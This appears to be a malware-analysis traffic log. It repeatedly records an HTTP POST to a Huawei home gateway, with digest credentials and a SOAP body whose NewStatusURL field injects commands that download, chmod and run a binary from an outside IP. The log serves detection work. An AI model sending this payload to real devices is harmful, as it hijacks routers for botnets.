2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh 